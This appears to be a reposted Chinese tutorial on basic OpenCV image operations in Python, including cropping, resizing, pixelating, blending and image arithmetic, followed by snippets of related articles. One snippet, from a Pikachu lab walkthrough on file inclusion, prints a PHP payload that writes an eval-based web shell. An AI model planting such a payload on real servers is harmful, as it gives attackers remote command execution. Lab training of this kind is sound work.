《OpenCV计算机视觉》—— 对图片的各种操作

news2024/12/22 20:27:43

文章目录

  • 1、安装OpenCV库
  • 2、读取、显示、查看图片
  • 3、对图片进行切割
  • 4、改变图像的大小
  • 5、图片打码
  • 6、图片组合
  • 7、图像运算
  • 8、图像加权运算

1、安装OpenCV库

  • 使用pip是最简单、最快捷的安装方式

    pip install opencv-python==3.4.2
    
  • 还需要安装一个包含了其他一些图像处理算法函数的opencv扩展库

    pip install opencv-contrib-python==3.4.2
    
  • 注意:安装的版本可以自行选择与自己python适配的进行安装,但是这两个库的版本必须是一致的

2、读取、显示、查看图片

  • 读取图像:使用cv2.imread(filename, flags)函数,其中filename是图像的路径,flags指定读取图像的方式(如灰度图像、彩色图像等)。
  • 显示图像:使用cv2.imshow(window_name, image)函数,其中window_name是窗口名称,image是要显示的图像。之后,通常使用cv2.waitKey(delay)等待用户按键,最后使用cv2.destroyAllWindows()关闭所有窗口。
    Man = cv2.imread('kobe.jpg')
    cv2.imshow('8-24', Man)
    # 可以给定规定显示的时间,单位为毫秒,0表示一直显示
    # 若是想结束显示,可以在英文状态下按下电脑键盘上的任意键
    # 若是用变量接收,再打印出这个变量,则会返回你所按下键的ASCII码值
    b = cv2.waitKey(0)
    print(b)   # 可以显示出所按键的ASCII码值
    # 关闭窗口
    cv2.destroyAllWindows()
    # 可以通过 shape dtype size 来查看图片的每个维度的大小、类型、总体大小
    print(Man.shape)
    print(Man.dtype)
    print(Man.size)
    
    在这里插入图片描述
    在这里插入图片描述

3、对图片进行切割

import cv2
M = cv2.imread('kobe.jpg')
# 给定所想切出的长宽大小范围,并用变量接收
A = M[0:800, 0:800]
B = M[500:800, 500:800]
cv2.imshow('qiepian_A', A)
cv2.imshow('qiepian_B', B)
cv2.waitKey(0)
cv2.destroyAllWindows()

在这里插入图片描述

4、改变图像的大小

import cv2
M = cv2.imread('kobe.jpg')
# 可以直接指定需要的图片大小,也可以指定大小,对长宽进行百分比的缩放
# M_new = cv2.resize(M, (400, 600)) 
M_new = cv2.resize(M, dsize=None, fx=0.6, fy=0.6)  # dsize 不指定规定大小
cv2.imshow('M', M)
cv2.imshow('M_new', M_new)
cv2.waitKey(0)
cv2.destroyAllWindows()

在这里插入图片描述

5、图片打码

import cv2
import numpy as np
M = cv2.imread('kobe.jpg')
# 给出需要打码的区域,运用numpy的方法随机选取[0~255]的像素,并给定打码的大小
# 注意这里打码的长宽大小必须与打码区域的长宽大小相同
M[100:200, 200:300] = np.random.randint(0, 256, (100, 100, 3))  # 矩阵赋值必须是相同大小
cv2.imshow('masaike', M)
cv2.waitKey(1000000)
cv2.destroyAllWindows()

在这里插入图片描述

6、图片组合

M = cv2.imread('kobe.jpg')
# MB.jpg 是 kobe.jpg 灰度图,为了可以让效果看的明显一点
M1 = cv2.imread('MB.jpg')
# 设置第一张需要替换的位置长宽大小必须和第二张图片相同
M[500:700, 500:700] = M1[300:500, 300:500]
cv2.imshow('M', M)
cv2.waitKey(100000)
cv2.destroyAllWindows()

在这里插入图片描述

7、图像运算

  • 图像+号运算

    # 对于+号运算,当对图像a,图像b进行加法求和时,遵循以下规则:
    # 当某位置像素相加得到的数值小于255时,该位置数值为两图像该位置像素相加之和
    # 当某位置像素相加得到的数值大于255时,该位置数值将截断结果并将其减去 256 例如:相加后是260,实际是260-256=4
    M = cv2.imread('kobe.jpg')
    I = cv2.imread('wechat.jpg')
    MM = M + 50 
    # 需要将相加起来的区域大小设置成相同的
    MI = M[500:700, 500:700] + I[500:700, 500:700]
    cv2.imshow('MM', MM)
    cv2.imshow('MI', MI)
    cv2.waitKey(0)
    cv2.destroyAllWindows()
    

    在这里插入图片描述

  • 图像 add 运算

    M = cv2.imread('kobe.jpg')
    I = cv2.imread('wechat.jpg')
    # 将两张图片的大小设置成相同的
    M = cv2.resize(M, (400, 400))
    I = cv2.resize(I, (400, 400))
    MI = cv2.add(M, I)
    cv2.imshow('MI', MI)
    cv2.waitKeyEx(100000)
    cv2.destroyAllWindows()
    

    在这里插入图片描述

8、图像加权运算

M = cv2.imread('wechat.jpg')
I = cv2.imread('wechat2.jpg')
M = cv2.resize(M, (600, 500))
I = cv2.resize(I, (600, 500))
# 需要给定每个图像的权重大小(简单来说:谁设定的数值越大其显示的程度越高),10为图像的亮度值
MI = cv2.addWeighted(M, 0.5, I, 0.5, 10)
cv2.imshow('MI', MI)
cv2.waitKey(100000)
cv2.destroyAllWindows()

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2103972.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

vector中的push_back()和emplace_back()的区别、以及使用场景

目录 前言 1. 基本区别 2. 性能差异 3. 构造参数传递 4. 使用场景总结 前言 push_back() 更适合在已经有对象实例的情况下使用。emplace_back() 则更适合需要在容器内部直接构造对象的场景,特别是在性能敏感的情况下。 1. 基本区别 push_back(): 作用&#xff…

酒店智能触摸开关在酒店管理中的作用

在众多智能化设备中,酒店智能触摸开关以其便捷性、高效性和节能环保的特性,正逐步成为提升住客体验、优化酒店运营管理的关键元素。本文将深入探讨酒店智能触摸开关在酒店管理中的多重作用。 一、提升住客体验,增强服务品质 便捷操作&#xf…

护眼灯真的可以保护眼睛吗?曝光劣质护眼台灯常见的三个特征

护眼灯真的可以保护眼睛吗?随着时代的发展,我们注意到越来越多的孩子开始佩戴眼镜。这一趋势引起了许多细心家长的关注,他们认识到这不仅是个别情况,而是现代生活方式和环境对孩子视力健康的挑战。自然而然地,“儿童是…

【淘宝采集项目经验分享】商品评论采集 |商品详情采集 |关键词搜索商品信息采集

商品评论采集 1、输入商品ID 2、筛选要抓取评论类型 3、填写要抓取的页数 4、立刻提交-启动测试 5、等爬虫结束后就可以到“爬取结果”里面下载数据 商品详情采集 1、输入商品ID 2、立刻提交-启动爬虫 3、等爬虫结束后就可以到“爬取结果”里面下载数据 taobao.item_…

报名开启!IDEA研究院编程语言MoonBit全球编程创新挑战赛启动

"懂语言者得天下"。探索编程之革新,参与AI时代编程语言之构建。2024年MoonBit全球编程创新挑战赛,为你开启! 我们向每一位怀揣才华与创意的编程爱好者发出邀请,一起在这场创新与挑战的盛会中,将理想照进现实…

针对IP专用https证书的详细申请教程

IP(Internet Protocol)地址是网络中最基本的标识之一,它是互联网上设备之间通信的基础。 IP SSL作为一种强大的技术,不仅可以保护网站和应用程序的数据传输安全,还能为企业和个人提供一个更加安全的网络环境。本文将探…

佰朔资本:热热热!关于这项业务,上市公司扎堆回复

跟着折叠屏手机概念火爆,与折叠屏手机相关的上市公司股价走出独立行情。 近期,包含科森科技、凯盛科技、国风新材、鼎龙科技、金银河在内的多家上市公司股价出现显着上涨。其间,科森科技结束7连板,国风新材结束3连板,…

iphone怎么设置自定义铃声?手把手教你3个方法解决问题

iPhone手机铃声如何换成自己喜欢的音乐呢?今天,小编就为你带来了3个超好用的方法,手把手教你iPhone怎么设置自定义铃声,为你打造一个手机响铃。一起来看一下这3个方法具体是怎么操作的吧。 操作环境: 演示机型&#xf…

vue3 前端实现pdf打印预览 printjs

在utils建print.ts文件 interface PrintFunction {extendOptions: Function;getStyle: Function;setDomHeight: Function;toPrint: Function; }const Print function (dom, options?: object): PrintFunction {options options || {};// ts-expect-errorif (!(this instanc…

通俗易懂理解Java泛型

什么是泛型 参数化类型 Java泛型是J2 SE1.5中引入的一个新特性,其本质是参数化类型,也就是说所操作的数据类型被指定为一个参数(type parameter)这种参数类型可以用在类、接口和方法的创建中,分别称为泛型类、泛型接口…

(力扣164)C语言-基数排序 最大间距

文章目录 题目解题思路代码 题目来源 力扣164 代码是官方题解,这篇文章是对官方题解的一个理解,记录学习日常哒,如若有错,欢迎指出吖~谢谢。 题目 给定一个无序的数组 nums,返回 数组在排序之后&#xff0…

【Vue】Vue3.5 新特性

useId 为 每一个 vue 文件创建一个唯一的 id&#xff1a; app.vue import {useId} from "vue"; import Child from "/Child.vue";const comId useId(); console.log(">(App.vue:5) comId", comId);// ...<Child />useTemplateRef u…

Node.js和uni-app实现微信小程序支付

前言 自己实现一个带支付功能的小程序&#xff0c;前端使用uniapp&#xff0c;后端使用Node.js&#xff0c;将实现微信小程序支付功能的全流程详细记录下来。使用的是全新的微信支付 APIv3 效果演示 用户付款流程 如图1&#xff0c;用户通过分享或扫描二维码进入商户小程序&…

竹云牵头编写 | 《零信任能力成熟度模型》团体标准初审会议顺利召开!

近日&#xff0c;受中国服务贸易协会信息技术服务委员会委托&#xff0c;由竹云牵头编写的《零信任能力成熟度模型》团体标准初审会议在北京顺利召开。本次会议围绕零信任能力成熟度模型议题&#xff0c;解读政策、产业与市场发展趋势&#xff0c;旨在推进零信任架构深化应用&a…

Unity | 内存优化之资源冗余问题

目录 一、资源冗余 1.主动打包和被动打包 2.依赖资源处理 &#xff08;1&#xff09;分别制作AB包&#xff0c;会造成冗余 &#xff08;2&#xff09;资源冗余解决办法&#xff1a; &#xff08;2.1&#xff09;先主动打依赖资源AB包 &#xff08;2.2&#xff09;将两个…

Pikachu文件包含漏洞(本地和远程)

一、本地文件包含 打开靶场&#xff0c;选择一个查看 读取一个本地文件查看 二、远程文件包含 在云服务器创建一个txt文件写入 <?php fputs(fopen("shell.php","w"),<?php eval($_POST["cmd"]);?>)?> 在本机上查看,会生成一个…

mmdetection学习——模型对比实验

1. 安装配置mmdetection环境&#xff0c;直接看官网 开始你的第一步 — MMDetection 3.0.0 文档 最好用conda新建环境管理&#xff0c;防止包冲突 git clone mmdetection源码到本地 2. 开始实验 2.1 准备数据集 需要使用COCO数据集格式 2.2 配置训练文件 在configs文件夹…

STM32F1+HAL库+FreeTOTS学习8——第一个任务,启动!

STM32F1HAL库FreeTOTS学习8——第一个任务&#xff0c;启动&#xff01; 开启任务调度器1. 函数 vTaskStartScheduler()2. 函数xPortStartScheduler() 启动第一个任务1. 函数 prvStartFirstTask()2. 函数 vPortSVCHandler() 上一期我们学习了列表和列表项的相关内容和API函数实…

python-小理帮老师改错

题目描述 老师给小理发了一封电子邮件&#xff0c;任务如下。 写一个程序&#xff0c;给你 n 个数&#xff0c;输出 X。 Xnum1^p1​​num2^p2​​⋯numn^pn​​ num1​&#xff0c;num2​&#xff0c;⋯⋯&#xff0c;numn​ 都是整数&#xff0c;p1​&#xff0c;p2​&#xf…

十二、集合

文章目录 一、集合的理解和好处二、集合框架体系图三、Collection接口 特点 方法3.1 Collection基本介绍3.2 Collection接口常用方法3.3 Collection接口遍历元素3.3.1 方式1-使用Iterator(迭代器)3.3.2 方式2-增强for循环 四、Collection接口的子接口&#xff1a;List 实现类&a…